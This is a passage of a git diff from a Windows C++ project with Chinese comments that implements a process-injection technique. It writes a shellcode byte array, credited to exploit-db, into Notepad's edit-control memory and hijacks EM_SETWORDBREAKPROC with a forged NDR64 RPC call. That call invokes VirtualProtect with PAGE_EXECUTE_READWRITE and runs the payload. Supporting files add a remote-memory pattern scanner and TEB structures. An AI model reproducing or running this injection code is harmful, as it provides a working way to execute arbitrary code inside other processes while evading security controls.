"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24"
|
||||
"\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
|
||||
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6"
|
||||
"\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
|
||||
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96"
|
||||
"\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
|
||||
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e"
|
||||
"\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
|
||||
"\x48\x83\xec\x20\x41\xff\xd6";
|
||||
// const auto shellcodeAddress = tmpShellcode + calcOffset;
|
||||
// memcpy(shellcodeAddress, payload, sizeof(payload));
|
||||
// calcOffset += sizeof(payload);
|
||||
|
||||
// typedef LONG(NTAPI* FnNtUserMessageCall)(HWND hWnd, UINT msg, WPARAM
|
||||
// wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
|
||||
// FnNtUserMessageCall NtUserMessageCall =
|
||||
// (FnNtUserMessageCall)GetProcAddress(LoadLibrary(L"win32u.dll"),
|
||||
// "NtUserMessageCall");
|
||||
//
|
||||
// 执行payload
|
||||
// 1.给回调设置参数为我们的payload
|
||||
// SendMessageA才生效,不知道为什么,否则会报60
|
||||
auto result1 =
|
||||
SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)&TheNotepadTagClsAddress);
|
||||
// auto result1 = NtUserMessageCall(hwndEdit, WM_SETTEXT, 0,
|
||||
// (LPARAM)&TheNotepadTagClsAddress, 0, 0x2B1, 1);
|
||||
// 等完全输入完毕
|
||||
WaitForInputIdle(pi.hProcess, INFINITE);
|
||||
result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0);
|
||||
|
||||
// ***这里有个限制 除非我是英文系统 否则会被格式为Utf-8导致不能用**
|
||||
// 我直接writememory让那个地方看起来像是英文系统
|
||||
auto emh = (PVOID)SendMessage(hwndEdit, EM_GETHANDLE, 0, 0);
|
||||
PVOID embuf;
|
||||
SIZE_T numOfWrite;
|
||||
ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite);
|
||||
WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8,
|
||||
&numOfWrite);
|
||||
WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload,
|
||||
sizeof(payload), &numOfWrite);
|
||||
const auto shellcodeAddress = (uint64_t)embuf + 8;
|
||||
const auto virtualProtectReturnValue = shellcodeAddress + sizeof(payload);
|
||||
const auto editShellcodeLocation = shellcodeAddress + sizeof(payload) + sizeof(uint64_t);
|
||||
/*
|
||||
_In_ LPVOID lpAddress,
|
||||
_In_ SIZE_T dwSize,
|
||||
_In_ DWORD flNewProtect,
|
||||
_Out_ PDWORD lpflOldProtect
|
||||
*/
|
||||
auto tempCover = (uint64_t)TheNotepadTagClsAddress;
|
||||
memcpy(paramsBuffer, &tempCover, 8);
|
||||
|
||||
tempCover = (uint64_t)sizeof(payload);
|
||||
memcpy(paramsBuffer + 8, &tempCover, 8);
|
||||
|
||||
tempCover = (uint64_t)PAGE_EXECUTE_READWRITE;
|
||||
memcpy(paramsBuffer + 8 + 8, &tempCover, 8);
|
||||
// 这个地方是readonly的,如果直接传给virtualprotect会失败.所以也得放在编辑框里面
|
||||
/*
|
||||
auto oldProtectAddress = (uint64_t)REMOTE_CLS_ADDRESS(tmpShellcode +
|
||||
calcOffset); tempCover = (uint64_t)tmpShellcode + calcOffset;
|
||||
memcpy(paramsBuffer + 8 + 8 + 8, &oldProtectAddress, 8);
|
||||
calcOffset += sizeof(uint64_t);
|
||||
*(uint64_t*)tempCover = (uint64_t)REMOTE_CLS_ADDRESS((uint64_t)(tmpShellcode
|
||||
+ calcOffset)); calcOffset += sizeof(uint64_t);
|
||||
*/
|
||||
memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8);
|
||||
calcOffset += sizeof(uint64_t);
|
||||
|
||||
for (auto ndr64Param : theParamTypeAddress) {
|
||||
auto typeAddress = tmpShellcode + calcOffset;
|
||||
ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
|
||||
calcOffset += sizeof(void*);
|
||||
|
||||
*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
|
||||
calcOffset += sizeof(char);
|
||||
}
|
||||
for (size_t i = 0; i < allocShellcodeSize; i++) {
|
||||
NtUserSetClassLong(hwndMessage, i, tmpShellcode[i], FALSE);
|
||||
}
|
||||
|
||||
// 2.设置I_RpcFreePipeBuffer为回调地址
|
||||
// bp rpcrt4!I_RpcFreePipeBuffer
|
||||
result1 = PostMessageA(hwndEdit, EM_SETWORDBREAKPROC, 0,
|
||||
(LPARAM)theI_RpcFreePipeBufferAddr);
|
||||
|
||||
// 3. 激活
|
||||
result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0);
|
||||
// 4. cleanup
|
||||
SendMessage(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL);
|
||||
|
||||
// SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)INJPATH);
|
||||
// SendMessageW(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)embuf.p);
|
||||
return 0;
|
||||
}
|
||||
void buildEditShellCode(char* tmpShellcode, uint64_t editShellcodeLocation, uint64_t theNdrServerCallAllAddress) {
|
||||
|
||||
//第二个shellcode在编辑框里面,负责call virtualprotect
|
||||
*(ULONG_PTR*)tmpShellcode = (ULONG_PTR)editShellcodeLocation;
|
||||
|
||||
// *Message->Handle + 0x80 = NdrServerCallAll
|
||||
*(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress;
|
||||
|
||||
#define REMOTE_EDIT_ADDRESS(x) \
|
||||
((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \
|
||||
(ULONG_PTR)editShellcodeLocation)
|
||||
RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode;
|
||||
RPC_SERVER_INTERFACE* RpcInterfaceInfo0 =
|
||||
(RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88);
|
||||
MIDL_SERVER_INFO* RpcSrvInfo0 =
|
||||
(MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE));
|
||||
PVOID* DispatchTable0 =
|
||||
(PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO));
|
||||
MIDL_SYNTAX_INFO* SyntaxInfo0 =
|
||||
(MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID));
|
||||
MIDL_STUB_DESC* StubDesc0 =
|
||||
(MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2);
|
||||
ULONG_PTR* FmtStrOffset0 =
|
||||
(ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC));
|
||||
NDR64_PROC_FORMAT* ProcStr0 =
|
||||
(NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 +
|
||||
sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 +
|
||||
sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR));
|
||||
|
||||
//_NDR_PROC_CONTEXT Ndr+Proc
|
||||
DispatchTable0[0] = (PVOID)VirtualProtect;
|
||||
RpcSrvInfo0->DispatchTable =
|
||||
(SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0);
|
||||
|
||||
FmtStrOffset0[0] = (ULONG_PTR)REMOTE_EDIT_ADDRESS(ProcStr0);
|
||||
(SyntaxInfo0 + 1)->FmtStringOffset =
|
||||
(USHORT*)REMOTE_EDIT_ADDRESS(FmtStrOffset0);
|
||||
RpcSrvInfo0->pSyntaxInfo =
|
||||
(MIDL_SYNTAX_INFO*)REMOTE_EDIT_ADDRESS(SyntaxInfo0);
|
||||
RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_EDIT_ADDRESS(StubDesc0);
|
||||
RpcSrvInfo0->DispatchTable =
|
||||
(SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0);
|
||||
// RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337;
|
||||
RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA;
|
||||
|
||||
|
||||
|
||||
RpcInterfaceInfo0->InterpreterInfo =
|
||||
(MIDL_SERVER_INFO*)REMOTE_EDIT_ADDRESS(RpcSrvInfo0);
|
||||
RpcMsg0->RpcInterfaceInformation =
|
||||
(RPC_SERVER_INTERFACE*)REMOTE_EDIT_ADDRESS(RpcInterfaceInfo0);
|
||||
RpcMsg0->ProcNum = 0;
|
||||
RpcMsg0->RpcFlags = 0x1000;
|
||||
|
||||
*(ULONG_PTR*)(tmpShellcode + 0x100) =
|
||||
(ULONG_PTR)VirtualProtect;
|
||||
|
||||
|
||||
|
||||
auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) +
|
||||
sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT);
|
||||
// auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset);
|
||||
//*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr;
|
||||
// calcOffset += sizeof(ULONG_PTR);
|
||||
|
||||
/*
|
||||
* https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152
|
||||
if ( pParamFlags->IsIn ||
|
||||
(pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) ||
|
||||
pParamFlags->IsPipe )
|
||||
continue;
|
||||
*/
|
||||
std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress;
|
||||
// type的指针,这个type会读两次 **typeaddr
|
||||
auto fnSetNdr64Param = [&]() {
|
||||
static auto currentCopyCount = 0;
|
||||
auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset);
|
||||
ndr64Param->Attributes.IsIn = true;
|
||||
ndr64Param->Attributes.IsBasetype = true;
|
||||
// auto typeAddress = tmpShellcode + calcOffset;
|
||||
// theParamTypeAddress.push_back(typeAddress);
|
||||
// ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
|
||||
ndr64Param->StackOffset = currentCopyCount * 4;
|
||||
currentCopyCount += 1;
|
||||
// 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值
|
||||
// https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43
|
||||
//*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
|
||||
// calcOffset += sizeof(_NDR64_PARAM_FORMAT);
|
||||
theParamTypeAddress.push_back(ndr64Param);
|
||||
calcOffset += sizeof(_NDR64_PARAM_FORMAT);
|
||||
};
|
||||
|
||||
const auto virtualProtectParamSize = 8 * 4;
|
||||
for (size_t i = 0; i < virtualProtectParamSize / 4; i++) {
|
||||
fnSetNdr64Param();
|
||||
}
|
||||
auto paramsBuffer = tmpShellcode + calcOffset;
|
||||
// 设置参数
|
||||
RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer);
|
||||
RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数
|
||||
calcOffset += RpcMsg0->BufferLength;
|
||||
|
||||
// Make HandleType to 0
|
||||
ProcStr0->Flags = 1;
|
||||
ProcStr0->StackSize = virtualProtectParamSize;
|
||||
ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4;
|
||||
|
||||
// https://www.exploit-db.com/shellcodes/49819
|
||||
// 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面
|
||||
unsigned char payload[] =
|
||||
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b"
|
||||
"\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
|
||||
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08"
|
||||
"\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
|
||||
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24"
|
||||
"\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
|
||||
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6"
|
||||
"\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
|
||||
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96"
|
||||
"\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
|
||||
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e"
|
||||
"\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
|
||||
"\x48\x83\xec\x20\x41\xff\xd6";
|
||||
|
||||
PVOID embuf;
|
||||
SIZE_T numOfWrite;
|
||||
ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite);
|
||||
WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8,
|
||||
&numOfWrite);
|
||||
WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload,
|
||||
sizeof(payload), &numOfWrite);
|
||||
const auto shellcodeAddress = (uint64_t)embuf + 8;
|
||||
const auto virtualProtectReturnValue = shellcodeAddress + sizeof(payload);
|
||||
const auto editShellcodeLocation = shellcodeAddress + sizeof(payload) + sizeof(uint64_t);
|
||||
|
||||
auto tempCover = (uint64_t)TheNotepadTagClsAddress;
|
||||
memcpy(paramsBuffer, &tempCover, 8);
|
||||
|
||||
tempCover = (uint64_t)sizeof(payload);
|
||||
memcpy(paramsBuffer + 8, &tempCover, 8);
|
||||
|
||||
tempCover = (uint64_t)PAGE_EXECUTE_READWRITE;
|
||||
memcpy(paramsBuffer + 8 + 8, &tempCover, 8);
|
||||
|
||||
memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8);
|
||||
calcOffset += sizeof(uint64_t);
|
||||
|
||||
for (auto ndr64Param : theParamTypeAddress) {
|
||||
auto typeAddress = tmpShellcode + calcOffset;
|
||||
ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
|
||||
calcOffset += sizeof(void*);
|
||||
|
||||
*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
|
||||
calcOffset += sizeof(char);
|
||||
}
|
||||
}
|
||||
int main() { wWinMain(0, 0, 0, 0); }
|
||||
79
sunday.cpp
Normal file
79
sunday.cpp
Normal file
@@ -0,0 +1,79 @@
|
||||
#include "framework.h"
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#define INRANGE(x,a,b) (x >= a && x <= b)
|
||||
#define getBits( x ) (INRANGE((x&(~0x20)),'A','F') ? ((x&(~0x20)) - 'A' + 0xa) : (INRANGE(x,'0','9') ? x - '0' : 0))
|
||||
#define getByte( x ) (getBits(x[0]) << 4 | getBits(x[1]))
|
||||
|
||||
PVOID
|
||||
SundaySearch_ByProcess(
|
||||
HANDLE ProcesHandle,
|
||||
char* pattern,
|
||||
PVOID address,
|
||||
SIZE_T readSize
|
||||
) {
|
||||
size_t patLen = strlen(pattern);
|
||||
|
||||
patLen = (patLen + 1) / 3;
|
||||
if (readSize < patLen)
|
||||
return NULL;
|
||||
|
||||
auto dataVec = std::vector<char>();
|
||||
dataVec.resize(readSize);
|
||||
SIZE_T bytesRead;
|
||||
SIZE_T TotalSize = readSize;
|
||||
SIZE_T CurOffset = 0;
|
||||
while (TotalSize)
|
||||
{
|
||||
ULONG64 ReadSize = min(0x1000, TotalSize);
|
||||
bytesRead = 0;
|
||||
auto ret = ReadProcessMemory(ProcesHandle,
|
||||
(void*)((uint64_t)address + CurOffset),
|
||||
(PVOID)((uint64_t)dataVec.data() + CurOffset), ReadSize, &bytesRead);
|
||||
TotalSize -= bytesRead;
|
||||
CurOffset += bytesRead;
|
||||
if (ret != true) break;
|
||||
if (bytesRead == 0) break;
|
||||
}
|
||||
|
||||
size_t i = 0;
|
||||
while (i < readSize)
|
||||
{
|
||||
size_t j = 0;
|
||||
|
||||
UCHAR c1 = 0;
|
||||
UCHAR c2 = 0;
|
||||
|
||||
while (j < patLen &&
|
||||
i + j < readSize &&
|
||||
(*(pattern + j * 3) == '\?' ||
|
||||
(c1 = dataVec[i + j]) == (c2 = getByte((pattern + j * 3)))))
|
||||
{
|
||||
j++;
|
||||
}
|
||||
|
||||
if (j == patLen)
|
||||
{
|
||||
return (PVOID)((DWORD_PTR)address + i);
|
||||
}
|
||||
else
|
||||
{
|
||||
LONGLONG k = (LONGLONG)j;
|
||||
if (i + patLen < readSize)
|
||||
{
|
||||
for (k = (LONGLONG)(patLen - 1); k >= 0; k--)
|
||||
{
|
||||
c1 = getByte((pattern + k * 3));
|
||||
c2 = dataVec[i + patLen];
|
||||
|
||||
if (*(pattern + k * 3) == '\?' || c1 == c2)
|
||||
break;
|
||||
}
|
||||
}
|
||||
i += (size_t)(patLen - k);
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
6
targetver.h
Normal file
6
targetver.h
Normal file
@@ -0,0 +1,6 @@
|
||||
#pragma once
|
||||
|
||||
// // 包含 SDKDDKVer.h 可定义可用的最高版本的 Windows 平台。
|
||||
// 如果希望为之前的 Windows 平台构建应用程序,在包含 SDKDDKVer.h 之前请先包含 WinSDKVer.h 并
|
||||
// 将 _WIN32_WINNT 宏设置为想要支持的平台。
|
||||
#include <SDKDDKVer.h>
|
||||
261
teb_def.h
Normal file
261
teb_def.h
Normal file
@@ -0,0 +1,261 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
typedef struct _STRING32 {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
ULONG Buffer;
|
||||
} STRING32;
|
||||
typedef struct _STRING64 {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
ULONGLONG Buffer;
|
||||
} STRING64;
|
||||
// 0x8 bytes (sizeof)
|
||||
struct _CLIENT_ID32 {
|
||||
ULONG UniqueProcess; // 0x0
|
||||
ULONG UniqueThread; // 0x4
|
||||
};
|
||||
// 0x10 bytes (sizeof)
|
||||
struct _CLIENT_ID64 {
|
||||
ULONGLONG UniqueProcess; // 0x0
|
||||
ULONGLONG UniqueThread; // 0x8
|
||||
};
|
||||
// 0x4e0 bytes (sizeof)
|
||||
struct _GDI_TEB_BATCH32 {
|
||||
ULONG Offset; // 0x0
|
||||
ULONG HDC; // 0x4
|
||||
ULONG Buffer[310]; // 0x8
|
||||
};
|
||||
// 0x4e8 bytes (sizeof)
|
||||
struct _GDI_TEB_BATCH64 {
|
||||
ULONG Offset; // 0x0
|
||||
ULONGLONG HDC; // 0x8
|
||||
ULONG Buffer[310]; // 0x10
|
||||
};
|
||||
// 0xfe4 bytes (sizeof)
|
||||
typedef struct _TEB32 {
|
||||
struct _NT_TIB32 NtTib; // 0x0
|
||||
ULONG EnvironmentPointer; // 0x1c
|
||||
struct _CLIENT_ID32 ClientId; // 0x20
|
||||
ULONG ActiveRpcHandle; // 0x28
|
||||
ULONG ThreadLocalStoragePointer; // 0x2c
|
||||
ULONG ProcessEnvironmentBlock; // 0x30
|
||||
ULONG LastErrorValue; // 0x34
|
||||
ULONG CountOfOwnedCriticalSections; // 0x38
|
||||
ULONG CsrClientThread; // 0x3c
|
||||
ULONG Win32ThreadInfo; // 0x40
|
||||
ULONG User32Reserved[26]; // 0x44
|
||||
ULONG UserReserved[5]; // 0xac
|
||||
ULONG WOW32Reserved; // 0xc0
|
||||
ULONG CurrentLocale; // 0xc4
|
||||
ULONG FpSoftwareStatusRegister; // 0xc8
|
||||
ULONG SystemReserved1[54]; // 0xcc
|
||||
LONG ExceptionCode; // 0x1a4
|
||||
ULONG ActivationContextStackPointer; // 0x1a8
|
||||
UCHAR SpareBytes[36]; // 0x1ac
|
||||
ULONG TxFsContext; // 0x1d0
|
||||
struct _GDI_TEB_BATCH32 GdiTebBatch; // 0x1d4
|
||||
struct _CLIENT_ID32 RealClientId; // 0x6b4
|
||||
ULONG GdiCachedProcessHandle; // 0x6bc
|
||||
ULONG GdiClientPID; // 0x6c0
|
||||
ULONG GdiClientTID; // 0x6c4
|
||||
ULONG GdiThreadLocalInfo; // 0x6c8
|
||||
ULONG Win32ClientInfo[62]; // 0x6cc
|
||||
ULONG glDispatchTable[233]; // 0x7c4
|
||||
ULONG glReserved1[29]; // 0xb68
|
||||
ULONG glReserved2; // 0xbdc
|
||||
ULONG glSectionInfo; // 0xbe0
|
||||
ULONG glSection; // 0xbe4
|
||||
ULONG glTable; // 0xbe8
|
||||
ULONG glCurrentRC; // 0xbec
|
||||
ULONG glContext; // 0xbf0
|
||||
ULONG LastStatusValue; // 0xbf4
|
||||
struct _STRING32 StaticUnicodeString; // 0xbf8
|
||||
WCHAR StaticUnicodeBuffer[261]; // 0xc00
|
||||
ULONG DeallocationStack; // 0xe0c
|
||||
ULONG TlsSlots[64]; // 0xe10
|
||||
struct LIST_ENTRY32 TlsLinks; // 0xf10
|
||||
ULONG Vdm; // 0xf18
|
||||
ULONG ReservedForNtRpc; // 0xf1c
|
||||
ULONG DbgSsReserved[2]; // 0xf20
|
||||
ULONG HardErrorMode; // 0xf28
|
||||
ULONG Instrumentation[9]; // 0xf2c
|
||||
struct _GUID ActivityId; // 0xf50
|
||||
ULONG SubProcessTag; // 0xf60
|
||||
ULONG EtwLocalData; // 0xf64
|
||||
ULONG EtwTraceData; // 0xf68
|
||||
ULONG WinSockData; // 0xf6c
|
||||
ULONG GdiBatchCount; // 0xf70
|
||||
union {
|
||||
struct _PROCESSOR_NUMBER CurrentIdealProcessor; // 0xf74
|
||||
ULONG IdealProcessorValue; // 0xf74
|
||||
struct {
|
||||
UCHAR ReservedPad0; // 0xf74
|
||||
UCHAR ReservedPad1; // 0xf75
|
||||
UCHAR ReservedPad2; // 0xf76
|
||||
UCHAR IdealProcessor; // 0xf77
|
||||
};
|
||||
};
|
||||
ULONG GuaranteedStackBytes; // 0xf78
|
||||
ULONG ReservedForPerf; // 0xf7c
|
||||
ULONG ReservedForOle; // 0xf80
|
||||
ULONG WaitingOnLoaderLock; // 0xf84
|
||||
ULONG SavedPriorityState; // 0xf88
|
||||
ULONG SoftPatchPtr1; // 0xf8c
|
||||
ULONG ThreadPoolData; // 0xf90
|
||||
ULONG TlsExpansionSlots; // 0xf94
|
||||
ULONG MuiGeneration; // 0xf98
|
||||
ULONG IsImpersonating; // 0xf9c
|
||||
ULONG NlsCache; // 0xfa0
|
||||
ULONG pShimData; // 0xfa4
|
||||
ULONG HeapVirtualAffinity; // 0xfa8
|
||||
ULONG CurrentTransactionHandle; // 0xfac
|
||||
ULONG ActiveFrame; // 0xfb0
|
||||
ULONG FlsData; // 0xfb4
|
||||
ULONG PreferredLanguages; // 0xfb8
|
||||
ULONG UserPrefLanguages; // 0xfbc
|
||||
ULONG MergedPrefLanguages; // 0xfc0
|
||||
ULONG MuiImpersonation; // 0xfc4
|
||||
union {
|
||||
volatile USHORT CrossTebFlags; // 0xfc8
|
||||
USHORT SpareCrossTebBits : 16; // 0xfc8
|
||||
};
|
||||
union {
|
||||
USHORT SameTebFlags; // 0xfca
|
||||
struct {
|
||||
USHORT SafeThunkCall : 1; // 0xfca
|
||||
USHORT InDebugPrint : 1; // 0xfca
|
||||
USHORT HasFiberData : 1; // 0xfca
|
||||
USHORT SkipThreadAttach : 1; // 0xfca
|
||||
USHORT WerInShipAssertCode : 1; // 0xfca
|
||||
USHORT RanProcessInit : 1; // 0xfca
|
||||
USHORT ClonedThread : 1; // 0xfca
|
||||
USHORT SuppressDebugMsg : 1; // 0xfca
|
||||
USHORT DisableUserStackWalk : 1; // 0xfca
|
||||
USHORT RtlExceptionAttached : 1; // 0xfca
|
||||
USHORT InitialThread : 1; // 0xfca
|
||||
USHORT SpareSameTebBits : 5; // 0xfca
|
||||
}SameTebFlagStruct;
|
||||
};
|
||||
ULONG TxnScopeEnterCallback; // 0xfcc
|
||||
ULONG TxnScopeExitCallback; // 0xfd0
|
||||
ULONG TxnScopeContext; // 0xfd4
|
||||
ULONG LockCount; // 0xfd8
|
||||
ULONG SpareUlong0; // 0xfdc
|
||||
ULONG ResourceRetValue; // 0xfe0
|
||||
}TEB32;
|
||||
|
||||
// 0x1818 bytes (sizeof)
|
||||
typedef struct _TEB64 {
|
||||
struct _NT_TIB64 NtTib; // 0x0
|
||||
ULONGLONG EnvironmentPointer; // 0x38
|
||||
struct _CLIENT_ID64 ClientId; // 0x40
|
||||
ULONGLONG ActiveRpcHandle; // 0x50
|
||||
ULONGLONG ThreadLocalStoragePointer; // 0x58
|
||||
ULONGLONG ProcessEnvironmentBlock; // 0x60
|
||||
ULONG LastErrorValue; // 0x68
|
||||
ULONG CountOfOwnedCriticalSections; // 0x6c
|
||||
ULONGLONG CsrClientThread; // 0x70
|
||||
ULONGLONG Win32ThreadInfo; // 0x78
|
||||
ULONG User32Reserved[26]; // 0x80
|
||||
ULONG UserReserved[5]; // 0xe8
|
||||
ULONGLONG WOW32Reserved; // 0x100
|
||||
ULONG CurrentLocale; // 0x108
|
||||
ULONG FpSoftwareStatusRegister; // 0x10c
|
||||
ULONGLONG SystemReserved1[54]; // 0x110
|
||||
LONG ExceptionCode; // 0x2c0
|
||||
ULONGLONG ActivationContextStackPointer; // 0x2c8
|
||||
UCHAR SpareBytes[24]; // 0x2d0
|
||||
ULONG TxFsContext; // 0x2e8
|
||||
struct _GDI_TEB_BATCH64 GdiTebBatch; // 0x2f0
|
||||
struct _CLIENT_ID64 RealClientId; // 0x7d8
|
||||
ULONGLONG GdiCachedProcessHandle; // 0x7e8
|
||||
ULONG GdiClientPID; // 0x7f0
|
||||
ULONG GdiClientTID; // 0x7f4
|
||||
ULONGLONG GdiThreadLocalInfo; // 0x7f8
|
||||
ULONGLONG Win32ClientInfo[62]; // 0x800
|
||||
ULONGLONG glDispatchTable[233]; // 0x9f0
|
||||
ULONGLONG glReserved1[29]; // 0x1138
|
||||
ULONGLONG glReserved2; // 0x1220
|
||||
ULONGLONG glSectionInfo; // 0x1228
|
||||
ULONGLONG glSection; // 0x1230
|
||||
ULONGLONG glTable; // 0x1238
|
||||
ULONGLONG glCurrentRC; // 0x1240
|
||||
ULONGLONG glContext; // 0x1248
|
||||
ULONG LastStatusValue; // 0x1250
|
||||
struct _STRING64 StaticUnicodeString; // 0x1258
|
||||
WCHAR StaticUnicodeBuffer[261]; // 0x1268
|
||||
ULONGLONG DeallocationStack; // 0x1478
|
||||
ULONGLONG TlsSlots[64]; // 0x1480
|
||||
struct LIST_ENTRY64 TlsLinks; // 0x1680
|
||||
ULONGLONG Vdm; // 0x1690
|
||||
ULONGLONG ReservedForNtRpc; // 0x1698
|
||||
ULONGLONG DbgSsReserved[2]; // 0x16a0
|
||||
ULONG HardErrorMode; // 0x16b0
|
||||
ULONGLONG Instrumentation[11]; // 0x16b8
|
||||
struct _GUID ActivityId; // 0x1710
|
||||
ULONGLONG SubProcessTag; // 0x1720
|
||||
ULONGLONG EtwLocalData; // 0x1728
|
||||
ULONGLONG EtwTraceData; // 0x1730
|
||||
ULONGLONG WinSockData; // 0x1738
|
||||
ULONG GdiBatchCount; // 0x1740
|
||||
union {
|
||||
struct _PROCESSOR_NUMBER CurrentIdealProcessor; // 0x1744
|
||||
ULONG IdealProcessorValue; // 0x1744
|
||||
struct {
|
||||
UCHAR ReservedPad0; // 0x1744
|
||||
